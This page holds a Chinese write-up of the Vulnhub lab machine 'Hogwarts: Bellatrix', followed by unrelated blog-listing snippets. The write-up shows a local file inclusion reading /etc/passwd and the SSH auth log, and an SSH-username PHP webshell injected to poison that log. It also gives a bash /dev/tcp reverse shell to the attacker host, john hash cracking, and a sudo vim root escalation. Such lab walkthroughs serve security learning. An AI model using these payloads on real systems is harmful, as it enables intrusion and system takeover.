当前位置：首页 > news >正文

Vulnhub: Hogwarts: Bellatrix靶机

news 2026/4/3 16:05:02

kali：192.168.111.111

靶机：192.168.111.228

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.228

在这里插入图片描述

访问80端口

在这里插入图片描述

查看源码，提示ikilledsiriusblack.php和文件包含的参数名file

在这里插入图片描述

漏洞利用

ikilledsiriusblack.php存在文件包含

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../etc/passwd

在这里插入图片描述

可以包含ssh日志文件/var/log/auth.log

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log

在这里插入图片描述

写入webshell到ssh日志文件

ssh '<?php system($_GET["cmd"]);?>'@192.168.111.228

在这里插入图片描述

执行命令

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log&cmd=id

在这里插入图片描述

执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

在这里插入图片描述

提权

在/var/www/html/c2VjcmV0cw==目录中发现密码字典和lestrange的密码密文

在这里插入图片描述

利用john爆破密文，密码：ihateharrypotter

john hash --wordlist=./pass.txt

在这里插入图片描述

lestrange用户sudo权限

在这里插入图片描述

提权方法：https://gtfobins.github.io/gtfobins/vim/#sudo

在这里插入图片描述

提升为root

sudo -u root vim -c ':!/bin/bash'

在这里插入图片描述

flag

在这里插入图片描述

Vulnhub: Hogwarts: Bellatrix靶机

kali：192.168.111.111 靶机：192.168.111.228 信息收集端口扫描 nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.228访问80端口查看源码，提示ikilledsiriusblack.php和文件包含的参数名file 漏洞利用 ikilledsiriusblack.p…...

编程日记 2023/9/6 0:23:33

机器学习(吴恩达第一课)

课程链接文章目录第一周1、机器学习定义2、监督学习(Supervised learning)1、回归(Regression)2、分类(Classification) 3、无监督学习(Unsupervised learning)4、线性回归模型5、代价函数6、梯度下降(Gradient descent)1、学习率2、用于线性回归的梯度下降第二周(多维特征…...

编程日记 2023/9/6 0:22:33

固定资产管理怎么改革

固定资产管理改革需要考虑以下几个方面： 建立完善的管理制度和流程：制定固定资产管理的规章制度，明确各部门的职责和任务，规范资产采购、登记、领用、保管、维修、报废等流程。采用先进的资产管理软件：通过采用先进的…...

编程日记 2023/9/6 0:21:32

【js】防抖和节流的使用场景和区别：

文章目录一、防抖 （多次触发只执行最后一次）二、节流 （规定时间内只触发一次）三、防抖和节流的使用场景【1】防抖（debounce）【2】节流（throttle） 一、防抖 （多次触发 …...

编程日记 2023/9/6 0:20:30

Blazor前后端框架Known-V1.2.14

V1.2.14 Known是基于C#和Blazor开发的前后端分离快速开发框架，开箱即用，跨平台，一处代码，多处运行。 Gitee： https://gitee.com/known/KnownGithub：https://github.com/known/Known 概述基于C#和Blazo…...

编程日记 2023/9/6 0:19:29

港陆证券：五日线破位怎么看？

在股票交易中，五日线是个重要的技术指标之一，它能够反映出最近的商场趋势。假如五日线破位，这意味着商场呈现了趋势反转，出资者需求注重趋势改动，并采取相应的出资战略。首先，咱们来看看五日线破位的原因…...

编程日记 2023/9/6 0:18:27

睿趣科技：抖音小店多久可以做起来

随着社交媒体的迅猛发展，抖音成为了全球最受欢迎的短视频平台之一，吸引了数以亿计的用户。在抖音上，人们不仅可以分享自己的生活、才艺和创意，还可以创业经营抖音小店。但是，很多人都想知道，一个抖音小店到…...

编程日记 2023/9/6 0:17:26

onnx 模型切割掉conv后面的节点，设置输出层名称和最后节点名称一致，设置输出层shape和输出节点一致．

某些模型最后卷积层之后的算子不适合在推理引擎里面跑，切割掉conv后面的算子，在cpu上实现有比较好的性能． 包含： １．获取onnx中间节点的shape的示例 ２．增加onnx模型输出，设…...

编程日记 2023/9/6 0:16:25

泛型的学习

泛型深入泛型：可以在编译阶段约束操作的数据类型，并进行检查泛型的格式：<数据类型> 注意：泛型只能支持引用数据类型 //没有泛型的时候，集合如何存储数据//如果我们没有给集合指定类型，默认认为…...

编程日记 2023/9/6 0:15:24

L1-061 新胖子公式(Python实现) 测试点全过

前言： {\color{Blue}前言：} 前言： 本系列题使用的是，“PTA中的团体程序设计天梯赛——练习集”的题库，难度有L1、L2、L3三个等级，分别对应团体程序设计天梯赛的三个难度。更新取决于题目的难度，…...

编程日记 2023/9/6 0:14:23

潜艇来袭（Qt官方案例-2维动画游戏）

一、游戏介绍 1 开始界面启动程序，进入开始界面。 2 开始新游戏点击菜单：File》New Game （或者CtrlN）进入新游戏。开始新游戏之后，会有一个海底的潜艇，和水面舰艇对战。计算机：自动控制…...

编程日记 2023/9/6 0:13:22

50ETF期权开户平台（0门槛期权开户指南）

50ETF期权开户平台比较好的有：期权馆，期权科普馆，小熊期权，期权酱，财顺财经，财顺期权等，都是国内前十的期权分仓平台，下文为大家结算50ETF期权开户平台（0门槛期权开户指南…...

编程日记 2023/9/6 0:12:20

1.引入 import MovingMarker from "../src/utils/MovingMarker"; 2.MovingMarker.js内容 import L from "leaflet"; import eventBus from ../util/eventBus; L.interpolatePosition function(p1, p2, duration, t) {var k t/duration;k (k > 0) ? …...

编程日记 2023/9/6 0:11:17

学生宿舍水电费自动缴费系统/基于javaweb的水电缴费系统

摘要 “互联网”的战略实施后，很多行业的信息化水平都有了很大的提升。但是目前很多学校日常工作仍是通过人工管理的方式进行，需要在各个岗位投入大量的人力进行很多重复性工作，这样就浪费了许多的人力物力，工作效率较低&#x…...

编程日记 2023/9/6 0:10:16

机器人中的数值优化（十三）——QP二次规划

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考，主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等，本系列文章篇数较多，不定期更新，上半部分介绍无约束优化，…...

编程日记 2023/9/6 0:09:15

语言深入理解指针（非常详细）（三）

目录数组名的理解使用指针访问数组一维数组传参的本质二级指针指针数组指针数组模拟二维数组数组名的理解在上⼀个章节我们在使用指针访问数组的内容时，有这样的代码： int arr[10] {1,2,3,4,5,6,7,8,9,10}; int *p &arr[0];这里我们使用 &am…...

编程日记 2023/9/6 0:08:14

实训笔记8.31

实训笔记8.31 8.31笔记一、项目开发流程一共分为七个阶段1.1 数据产生阶段1.2 数据采集存储阶段1.3 数据清洗预处理阶段1.4 数据统计分析阶段1.5 数据迁移导出阶段1.6 数据可视化阶段二、项目数据清洗预处理的实现2.1 清洗预处理规则2.1.1 数据清洗规则2.1.2 数据预处理规则 2…...

编程日记 2023/9/6 0:07:12

el-table 垂直表头

效果如下： 代码如下： <template><div class"vertical_head"><el-table style"width: 100%" :data"getTblData" :show-header"false"><el-table-columnv-for"(item, index) in getHe…...

编程日记 2023/9/6 0:06:11

B081-Lucene+ElasticSearch

目录认识全文检索概念lucene原理全文检索的特点常见的全文检索方案 Lucene创建索引导包分析图代码搜索索引分析图代码 ElasticSearch认识ElasticSearchES与Kibana的安装及使用说明ES相关概念理解和简单增删改查ES查询DSL查询DSL过滤分词器IK分词器安装测试分词器文档映射(字…...

编程日记 2023/9/6 0:05:10

机器学习：塑造未来的核心力量

着科技的飞速发展，机器学习已经成为我们生活中不可或缺的一部分。无论是搜索引擎、推荐系统，还是自动驾驶汽车和机器人，都依赖于机器学习算法。本文将探讨机器学习的基本概念、应用领域以及未来发展趋势。一、机器学习的基本概念机器学习…...

编程日记 2023/9/6 0:04:08

Qwen3-32B部署全攻略：3步搞定，零基础也能快速上手

Qwen3-32B部署全攻略：3步搞定，零基础也能快速上手 1. 为什么选择Qwen3-32B？ Qwen3-32B是当前开源大模型领域的佼佼者，拥有320亿参数的强大能力。与市面上其他模型相比，它有三个突出优势： 推理能力卓越&a…...

编程新知 2026/4/3 15:45:35

当测试脚本杀人：军工AI系统的质量失控实录

对于软件测试从业者而言，我们早已习惯了与代码缺陷、性能瓶颈和逻辑错误作斗争。我们构建自动化脚本，设计测试用例，守护着软件世界的秩序与安全。然而，当测试的对象从商业应用转向决定生死的军工AI系统时，质量保障的维…...

编程新知 2026/4/3 15:35:30

零成本全平台2D CAD解决方案：LibreCAD专业应用指南

零成本全平台2D CAD解决方案：LibreCAD专业应用指南【免费下载链接】LibreCAD LibreCAD is a cross-platform 2D CAD program written in C17. It can read DXF/DWG files and can write DXF/PDF/SVG files. It supports point/line/circle/ellipse/parabola/spline…...

编程新知 2026/4/3 15:19:20

Stable Yogi Leather-Dress-Collection企业应用：服装品牌AI趋势图快速验证系统

Stable Yogi Leather-Dress-Collection企业应用：服装品牌AI趋势图快速验证系统 1. 项目概述 Stable Yogi Leather-Dress-Collection是一款专为服装品牌设计的AI趋势图快速验证工具，基于先进的Stable Diffusion技术开发。这个工具能够帮助设计师和品牌快…...

编程新知 2026/4/3 14:48:42